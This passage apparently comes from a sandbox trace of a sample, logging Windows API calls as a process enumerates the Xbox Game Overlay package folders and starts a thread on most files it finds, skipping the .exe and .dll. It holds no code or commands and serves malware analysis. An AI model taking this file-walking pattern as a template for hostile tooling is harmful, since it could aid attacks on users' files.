	[0089.959] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477cda0
	[0089.959] wcscpy (in: _Dest=0x477cda0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe"
	[0089.960] wcscat (in: _Dest=0x477cda0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.960] wcscat (in: _Dest=0x477cda0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0089.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477cda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a0
	[0089.960] FindNextFileW (in: hFindFile=0x46a7c18, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77aeb2ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77b3777d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77b3777d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.960] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.960] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32428
	[0089.960] wcscpy (in: _Dest=0x4e32428, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe"
	[0089.960] wcscat (in: _Dest=0x4e32428, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.961] wcscat (in: _Dest=0x4e32428, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e32428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a4
	[0089.961] FindNextFileW (in: hFindFile=0x46a7c18, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a9451f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.961] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.961] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5027be8
	[0089.961] wcscpy (in: _Dest=0x5027be8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe"
	[0089.961] wcscat (in: _Dest=0x5027be8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.961] wcscat (in: _Dest=0x5027be8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x5027be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a8
	[0089.962] FindNextFileW (in: hFindFile=0x46a7c18, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a9451f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.962] FindClose (in: hFindFile=0x46a7c18 | out: hFindFile=0x46a7c18) returned 1
	[0089.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030570) returned 1
	[0089.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925130) returned 1
	[0089.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a328) returned 1

Thread:
	id = 1053
	os_tid = 0x1ce4

	[0082.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b898
	[0082.718] wcscpy (in: _Dest=0x481b898, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0082.718] wcscat (in: _Dest=0x481b898, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0082.718] wcscat (in: _Dest=0x481b898, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\*"
	[0082.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50307d8
	[0082.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7c58
	[0082.719] wcscmp (_String1=".", _String2=".") returned 0
	[0082.719] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.719] wcscmp (_String1="..", _String2=".") returned 1
	[0082.719] wcscmp (_String1="..", _String2="..") returned 0
	[0082.719] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77b5d9ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77b5d9ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.719] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.719] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.719] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x46a61d8
	[0082.719] wcscpy (in: _Dest=0x46a61d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0082.719] wcscat (in: _Dest=0x46a61d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0082.719] wcscat (in: _Dest=0x46a61d8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x46a61d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1670
	[0089.949] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77b5d9ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77b5d9ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x128a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.949] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.949] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477cb18
	[0089.949] wcscpy (in: _Dest=0x477cb18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.949] wcscat (in: _Dest=0x477cb18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.950] wcscat (in: _Dest=0x477cb18, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cb18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x207c
	[0089.951] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb45ebf24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b5d9ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.951] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.951] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea6e0
	[0089.951] wcscpy (in: _Dest=0x47ea6e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.951] wcscat (in: _Dest=0x47ea6e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.951] wcscat (in: _Dest=0x47ea6e0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0089.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2080
	[0089.952] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77b5d9ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77b5d9ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.952] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.952] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477cbf0
	[0089.952] wcscpy (in: _Dest=0x477cbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.952] wcscat (in: _Dest=0x477cbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.952] wcscat (in: _Dest=0x477cbf0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2084
	[0089.953] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb46b4450, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b83c34, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.953] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.953] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4925518
	[0089.953] wcscpy (in: _Dest=0x4925518, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.953] wcscat (in: _Dest=0x4925518, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.953] wcscat (in: _Dest=0x4925518, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\Assets"
	[0089.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4925518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2088
	[0089.953] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77ba9e8d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77ba9e8d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77ba9e8d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameBar.exe", cAlternateFileName="")) returned 1
	[0089.953] wcscmp (_String1="GameBar.exe", _String2=".") returned 1
	[0089.954] wcscmp (_String1="GameBar.exe", _String2="..") returned 1
	[0089.954] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77ba9e8d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77ba9e8d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77ba9e8d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameBar.winmd", cAlternateFileName="")) returned 1
	[0089.954] wcscmp (_String1="GameBar.winmd", _String2=".") returned 1
	[0089.954] wcscmp (_String1="GameBar.winmd", _String2="..") returned 1
	[0089.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea610
	[0089.954] wcscpy (in: _Dest=0x47ea610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.954] wcscat (in: _Dest=0x47ea610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.954] wcscat (in: _Dest=0x47ea610, _Source="GameBar.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\GameBar.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\GameBar.winmd"
	[0089.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208c
	[0089.954] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77ba9e8d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77bf6344, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77bf6344, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb0400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameBarTasks.dll", cAlternateFileName="")) returned 1
	[0089.954] wcscmp (_String1="GameBarTasks.dll", _String2=".") returned 1
	[0089.954] wcscmp (_String1="GameBarTasks.dll", _String2="..") returned 1
	[0089.954] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bf6344, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77bf6344, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77bf6344, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameBarTasks.winmd", cAlternateFileName="")) returned 1
	[0089.954] wcscmp (_String1="GameBarTasks.winmd", _String2=".") returned 1
	[0089.954] wcscmp (_String1="GameBarTasks.winmd", _String2="..") returned 1
	[0089.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f1b0
	[0089.955] wcscpy (in: _Dest=0x477f1b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.955] wcscat (in: _Dest=0x477f1b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
	[0089.955] wcscat (in: _Dest=0x477f1b0, _Source="GameBarTasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\GameBarTasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\GameBarTasks.winmd"
	[0089.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2090
	[0089.955] FindNextFileW (in: hFindFile=0x46a7c58, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bf6344, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77c1c5a2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77c1c5a2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x51440, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="")) returned 1
	[0089.955] wcscmp (_String1="KnownGameList.bin", _String2=".") returned 1
	[0089.955] wcscmp (_String1="KnownGameList.bin", _String2="..") returned 1
	[0089.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477c458
	[0089.955] wcscpy (in: _Dest=0x477c458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0089.955] wcscat (in: _Dest=0x477c458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\"
